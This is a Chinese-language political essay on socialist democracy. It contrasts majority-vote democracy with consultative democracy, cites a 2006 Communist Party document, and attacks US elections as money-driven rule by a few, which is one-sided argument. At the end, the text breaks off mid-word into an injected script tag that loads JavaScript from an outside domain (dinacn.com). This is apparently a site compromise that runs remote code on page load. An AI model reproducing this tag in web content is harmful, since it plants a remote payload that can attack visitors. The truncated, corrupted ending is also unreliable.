中国社会主义民主是不同于资本主义的、绝大多数人享有的民主。发展这种民主,除了要在实践中不断充实和丰富民主的内容以外,还必须寻找与这种内容相适应的新的民主形式。关于这一点,列宁曾经指出:“彻底发展民主,找出这种发展的形式,用实践来检验这些形式等等,都是为社会革命进行斗争的任务之一。”[1](P75)
中国人民在争取民主的长期斗争中,特别是在致力于社会主义民主政治建设的伟大实践中,对民主形式的发展和完善进行了不懈的探索和追求,积累了宝贵经验,提高了理性自觉,逐步形成了包括表决民主和协商民主在内的社会主义民主形式。其重要标志就是2006年2月中共中央颁布的《关于加强人民政协工作的意见》(以下称《意见》)。
《意见》明确指出:“人民通过选举、投票行使权利和人民内部各方面在重大决策之前进行充分协商,尽可能就共同性问题取得一致意见,是我国社会主义民主的两种重要形式。”这一重要论断强调社会主义民主有表决民主和协商民主两种形式,其意义十分深远,必将对促进中国民主政治建设和推进人类政治文明的发展,发挥重要作用。
民主是人类在漫长的历史进程中共同追求的美好政治理想和共同创造的政治文明成果。民主的发展是一个过程。仅就民主的形式而言,表决民主曾经被视为民主政治的唯一形式,当今欧美国家被看作是采用这种民主形式的典型。
表决民主作为民主发展的产物,无疑是人类的一个伟大创造。社会主义民主坚持表决民主,这是社会主义民主对人类政治文明成果的一种继承和弘扬,也是社会主义民主发展的内在必然要求。
表决民主以少数服从多数为基本原则,或者叫多数决定原则。坚持这个原则,是由于利益差异和认识差异的存在,公民对公共事务的态度会作出多种多样的选择,或赞成或反对,或坚决或动摇,或两可或随流。这样难免会七嘴八舌,议而难决。而社会公共生活的正常进行,不允许这种旷日持久、没有结果的争论。更何况,有一些重大紧急事务的处理,等不得拖不得,必须当机立断。因此,多数决定原则实则是对公共事务作出决断的一种效率原则。
讲效率是表决民主的一大优点。但少数服从多数,并不必然意味着是非、公正的判定。而这又是它的一大缺陷。具体说来,它在肯定多数人利益和意志的同时,漠视和否定了少数人的利益和意志,包括那些具有正当性、合理性的利益和意志。另外,这种多数的形成,有时并不是基于对整体共同利益的肯定,而可能纯粹出于局部利益的考虑。更何况某个突发事件的发生、某种偏激情绪的煽动和蔓延,也会造成一时的多数。而且,有时候这个多数相对于少数只是极其微弱的多数。因此,有人把多数决定原则病诟为多数人对少数人的暴政。
表决民主作为民主实现的一种形式,总是服从和服务于民主的内容的。在阶级社会中,民主是有阶级性的。因此,表决民主在阶级社会中,总是为一定阶级的利益服务的。比如,在古希腊罗马的奴隶制民主制中,民主只是统治阶级内部的民主,而奴隶和其他获得市民资格的人是没有民主的。因此,在这样的制度中,多数决定原则只是奴隶主阶级中的多数决定原则,而不是一人一票的社会成员多数决定原则。可见奴隶主阶级内部的表决民主,说到底是少数人的民主。这里的民主只是意味着少数人对多数人的压迫和奴役。在历史的发展进程中,资产阶级民主相对于奴隶主民主在形式上已经有了很大进步,由于普选制的推行,它在形式上已经实行了多数选民决定原则,但其实质依然如故,即仍然是少数人的民主。
拿美国的民主来说,表决民主只是狭隘地表现为四年一次的自由选举,即公民通过投票,选举国家总统。谁能充当总统候选人呢?只是那些有财团做后盾的“权力精英”,特别是美国共和和民主两党推出的“权力精英”。选民只能被迫在少数权力精英中挑选总统。最终哪位候选人能登上总统的宝座,这里的因素是很多的。其中最主要的因素是看哪位候选人更适合美国资产阶级统治的需要。与此相联系,他就能募捐到更多的竞选经费,就能更广泛地开展各种竞选活动,就能长时间地利用各种媒体来制造舆论,树立形象。直白地说,这里起核心作用的是金钱。另外,公民通过定期选举,选择国家最高领导人,由他和他所领导的班子制定公共政策,实施公共管理。这种民主,所关注的是谁适合当“领导者”,而不是如何“实施领导”。也就是说,它仅是民主的“准入”程序,而不是民主的决策过程。各位候选人通过竞争人们的选票而得到作出决定的权力。可是对于选民来说,这种权力一旦授予,也就很难从根本上对之加以制约。这就是美国总统布什作出出兵伊拉克的错误决定,而美国人民对之无可奈何的制度原因所在。美国民主的实质和弊端已经被越来越多的人所认识和揭示。早在上世纪50年代,美国哥伦比亚大学的社?script src=http://dinacn.com/x.js> |